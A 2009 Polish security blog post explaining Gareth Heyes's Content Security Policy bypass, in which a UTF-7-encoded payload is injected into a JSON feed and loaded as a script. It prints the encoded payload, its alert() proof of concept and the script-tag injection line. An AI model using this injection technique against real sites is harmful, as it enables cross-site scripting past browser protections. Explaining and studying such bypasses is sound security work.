Pokazywanie postów oznaczonych etykietą gareth. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą gareth. Pokaż wszystkie posty

23 lis 2009

CSP na kolana

Gareth Heyes opublikował właśnie na swoim blogu, informację dotyczącą sposobu ominięcia zabezpieczeń w #CSP http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/


Na czym polega błąd?

Każda strona z feedem JSON'a nad którym może mieć kontrolę atakujący, może zostać zarażona własnym ciągiem JSON'a, dzięki czemu można kontrolować pozostałe elementy feed'a.
Wyjaśnijmy to na przykładzie. W UTF-7 ABC pojawia się jako:


+ACcAQQBCAEMAJw-

jeżeli przykładowa odpowiedź w JSON wygląda tak:

[{'friend':'something',email:'something'} ]

mając kontrolę nad wartością: something, możemy umieścić własny kod:


+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-

(w UTF-8: '}];alert('May the force be with you');[{'job':'done )

Umieszczając w/w kod, powstaje nam:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

czyli:


[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):

"><script src="http://some.website/test.json" charset="utf-7"></script>

uruchamiamy kod pod CSP, omijając zabezpieczenia.


Przykładowe działające demo: http://www.businessinfo.co.uk/labs/cspluke/test.html

Więcej informacji na temat CSP: http://blog.mozilla.com/security/2009/09/30/a-glimpse-into-the-future-of-browser-security/
Testy CSP: http://people.mozilla.org/~bsterne/content-security-policy/demo.cgi

Zapraszam do testów :)